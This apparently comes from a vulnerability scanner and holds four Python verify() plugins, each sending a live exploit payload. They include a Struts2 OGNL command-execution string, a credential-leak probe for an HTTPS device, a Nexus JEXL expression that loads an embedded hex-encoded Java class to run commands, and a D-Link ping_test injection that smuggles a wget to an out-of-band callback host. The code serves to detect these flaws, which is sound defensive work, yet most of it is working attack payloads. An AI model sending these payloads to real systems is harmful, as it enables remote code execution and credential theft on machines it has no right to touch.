def verify(self): # 添加限定条件 if self.dictdata.get("url").get("extension").lower() not in ["do", "action", ""]: return headers = copy.deepcopy(self.dictdata.get("request").get("headers")) random_str = get_random_str(6) payloads = [ r"%23_memberAccess%[email protected]@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%[email protected]@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=echo%20" + random_str, ] headers['Content-Type'] = 'application/x-www-form-urlencoded' for payload in payloads: req = { "url": self.url + payload, "method": "GET", "headers": headers, } r = request(**req) if r != None: if re.search(("[^(echo)][^ (%20)]{}|^\s*{}\s*$".format(random_str, random_str)).encode(), r.content): self.save(r) return
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return if not self.dictdata.get("url").get("protocol") == "https": return req = { "method": "GET", "url": self.url + "Authorization: undefined", # "headers": headers, # 主要保留cookie等headers "headers": self.dictdata.get("request").get("headers").update({ "Authorization": "undefined", "Referer": "https://{}/uts_v2/webstatic/".format( self.dictdata.get("url").get("host")) }), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r is not None and b"password" in r.content and b"DEVICE_NAME" in r.content: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": self.url, "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return # r1 = get_random_num(6) # r2 = get_random_num(6) r3 = get_random_str(6) req = { "method": "POST", "url": self.url + "service/extdirect", "headers": { "Content-Type": "application/json" }, "data": '''{"action": "coreui_Component", "type": "rpc", "tid": 8, "data": [{"sort": [{"direction": "ASC", "property": "name"}], "start": 0, "filter": [{"property": "repositoryName", "value": "*"}, {"property": "expression", "value": "function(x, y, z, c, integer, defineClass){ c=1.class.forName('java.lang.Character'); integer=1.class; x='cafebabe0000003100ae0a001f00560a005700580a005700590a005a005b0a005a005c0a005d005e0a005d005f0700600a000800610a006200630700640800650a001d00660800410a001d00670a006800690a0068006a08006b08004508006c08006d0a006e006f0a006e00700a001f00710a001d00720800730a000800740800750700760a001d00770700780a0079007a08007b08007c07007d0a0023007e0a0023007f0700800100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c655461626c65010004746869730100114c4578706c6f69742f546573743233343b01000474657374010015284c6a6176612f6c616e672f537472696e673b29560100036f626a0100124c6a6176612f6c616e672f4f626a6563743b0100016901000149010003636d640100124c6a6176612f6c616e672f537472696e673b01000770726f636573730100134c6a6176612f6c616e672f50726f636573733b01000269730100154c6a6176612f696f2f496e70757453747265616d3b010006726573756c740100025b42010009726573756c745374720100067468726561640100124c6a6176612f6c616e672f5468726561643b0100056669656c640100194c6a6176612f6c616e672f7265666c6563742f4669656c643b01000c7468726561644c6f63616c7301000e7468726561644c6f63616c4d61700100114c6a6176612f6c616e672f436c6173733b01000a7461626c654669656c640100057461626c65010005656e74727901000a76616c75654669656c6401000e68747470436f6e6e656374696f6e01000e48747470436f6e6e656374696f6e0100076368616e6e656c01000b487474704368616e6e656c010008726573706f6e7365010008526573706f6e73650100067772697465720100154c6a6176612f696f2f5072696e745772697465723b0100164c6f63616c5661726961626c65547970655461626c650100144c6a6176612f6c616e672f436c6173733c2a3e3b01000a457863657074696f6e7307008101000a536f7572636546696c6501000c546573743233342e6a6176610c002700280700820c008300840c008500860700870c008800890c008a008b07008c0c008d00890c008e008f0100106a6176612f6c616e672f537472696e670c002700900700910c009200930100116a6176612f6c616e672f496e74656765720100106a6176612e6c616e672e5468726561640c009400950c009600970700980c0099009a0c009b009c0100246a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617001002a6a6176612e6c616e672e5468726561644c6f63616c245468726561644c6f63616c4d617024456e74727901000576616c756507009d0c009e009f0c009b00a00c00a100a20c00a300a40100276f72672e65636c697073652e6a657474792e7365727665722e48747470436f6e6e656374696f6e0c00a500a601000e676574487474704368616e6e656c01000f6a6176612f6c616e672f436c6173730c00a700a80100106a6176612f6c616e672f4f626a6563740700a90c00aa00ab01000b676574526573706f6e73650100096765745772697465720100136a6176612f696f2f5072696e745772697465720c00ac002f0c00ad002801000f4578706c6f69742f546573743233340100136a6176612f6c616e672f457863657074696f6e0100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010027284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294901000e676574496e70757453747265616d01001728294c6a6176612f696f2f496e70757453747265616d3b0100136a6176612f696f2f496e70757453747265616d010009617661696c61626c6501000472656164010007285b4249492949010005285b4229560100106a6176612f6c616e672f54687265616401000d63757272656e7454687265616401001428294c6a6176612f6c616e672f5468726561643b010007666f724e616d65010025284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f436c6173733b0100106765744465636c617265644669656c6401002d284c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f7265666c6563742f4669656c643b0100176a6176612f6c616e672f7265666c6563742f4669656c6401000d73657441636365737369626c65010004285a2956010003676574010026284c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100176a6176612f6c616e672f7265666c6563742f41727261790100096765744c656e677468010015284c6a6176612f6c616e672f4f626a6563743b2949010027284c6a6176612f6c616e672f4f626a6563743b49294c6a6176612f6c616e672f4f626a6563743b010008676574436c61737301001328294c6a6176612f6c616e672f436c6173733b0100076765744e616d6501001428294c6a6176612f6c616e672f537472696e673b010006657175616c73010015284c6a6176612f6c616e672f4f626a6563743b295a0100096765744d6574686f64010040284c6a6176612f6c616e672f537472696e673b5b4c6a6176612f6c616e672f436c6173733b294c6a6176612f6c616e672f7265666c6563742f4d6574686f643b0100186a6176612f6c616e672f7265666c6563742f4d6574686f64010006696e766f6b65010039284c6a6176612f6c616e672f4f626a6563743b5b4c6a6176612f6c616e672f4f626a6563743b294c6a6176612f6c616e672f4f626a6563743b0100057772697465010005636c6f736500210026001f000000000002000100270028000100290000002f00010001000000052ab70001b100000002002a00000006000100000009002b0000000c000100000005002c002d00000009002e002f0002002900000304000400140000013eb800022ab600034c2bb60004572bb600054d2cb60006bc084e2c2d032cb60006b6000757bb0008592db700093a04b8000a3a05120b57120cb8000d120eb6000f3a06190604b6001019061905b600113a07120b571212b8000d3a0819081213b6000f3a09190904b6001019091907b600113a0a120b571214b8000d3a0b190b1215b6000f3a0c190c04b60010013a0d03360e150e190ab80016a2003e190a150eb800173a0f190fc70006a70027190c190fb600113a0d190dc70006a70016190db60018b60019121ab6001b990006a70009840e01a7ffbe190db600183a0e190e121c03bd001db6001e190d03bd001fb600203a0f190fb600183a101910122103bd001db6001e190f03bd001fb600203a111911b600183a121912122203bd001db6001e191103bd001fb60020c000233a1319131904b600241913b60025b100000003002a0000009600250000001600080017000d0018001200190019001a0024001b002e001d0033001f004200200048002100510023005b002500640026006a002700730029007d002a0086002b008c002d008f002f009c003100a5003200aa003300ad003500b6003600bb003700be003900ce003a00d1002f00d7003d00de003e00f4003f00fb004001110041011800420131004401380045013d0049002b000000de001600a5002c00300031000f0092004500320033000e0000013e003400350000000801360036003700010012012c00380039000200190125003a003b0003002e0110003c003500040033010b003d003e0005004200fc003f00400006005100ed004100310007005b00e3004200430008006400da004400400009007300cb00450031000a007d00c100460043000b008600b800470040000c008f00af00480031000d00de006000490043000e00f4004a004a0031000f00fb0043004b004300100111002d004c0031001101180026004d004300120131000d004e004f00130050000000340005005b00e3004200510008007d00c100460051000b00de006000490051000e00fb0043004b0051001001180026004d005100120052000000040001005300010054000000020055'; y=0; z=''; while (y lt x.length()){ z += c.toChars(integer.parseInt(x.substring(y, y+2), 16))[0]; y += 2; };defineClass=2.class.forName('java.lang.Thread');x=defineClass.getDeclaredMethod('currentThread').invoke(null);y=defineClass.getDeclaredMethod('getContextClassLoader').invoke(x);defineClass=2.class.forName('java.lang.ClassLoader').getDeclaredMethod('defineClass','1'.class,1.class.forName('[B'),1.class.forName('[I').getComponentType(),1.class.forName('[I').getComponentType()); \ndefineClass.setAccessible(true);\nx=defineClass.invoke(\n y,\n 'Exploit.Test234',\n z.getBytes('latin1'), 0,\n 3054\n);x.getMethod('test', ''.class).invoke(null, 'echo %s');'done!'}\n"}, {"property": "type", "value": "jexl"}], "limit": 50, "page": 1}], "method": "previewAssets"}''' % (r3), "timeout": 10, "allow_redirects": False, "verify": False, } r = request(**req) if r != None and r.status_code == 200 and r3.encode( ) in r.content[:10]: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": req.get("url"), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })
def verify(self): # 根据config.py 配置的深度,限定一下目录深度 if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2: return cmds, hexdata = generate_reverse_payloads("dlink-cve-2019-16920-rce" + self.url) url = cmds[0].split(" ")[-1] req = { "method": "POST", "url": self.url + "apply_sec.cgi", "headers": { "Content-Type": "application/x-www-form-urlencoded", }, "data": '''html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20{}''' .format(url), "timeout": 10, "verify": False, "allow_redirects": False } r = request(**req) res, resdata = query_reverse(hexdata) if r != None and res: parser_ = response_parser(r) self.result.append({ "name": self.name, "url": parser_.geturl(), "level": self.level, # 0:Low 1:Medium 2:High "detail": { "vulmsg": self.vulmsg, "others": "{} in reverse data".format(hexdata), "request": parser_.getrequestraw(), "response": parser_.getresponseraw() } })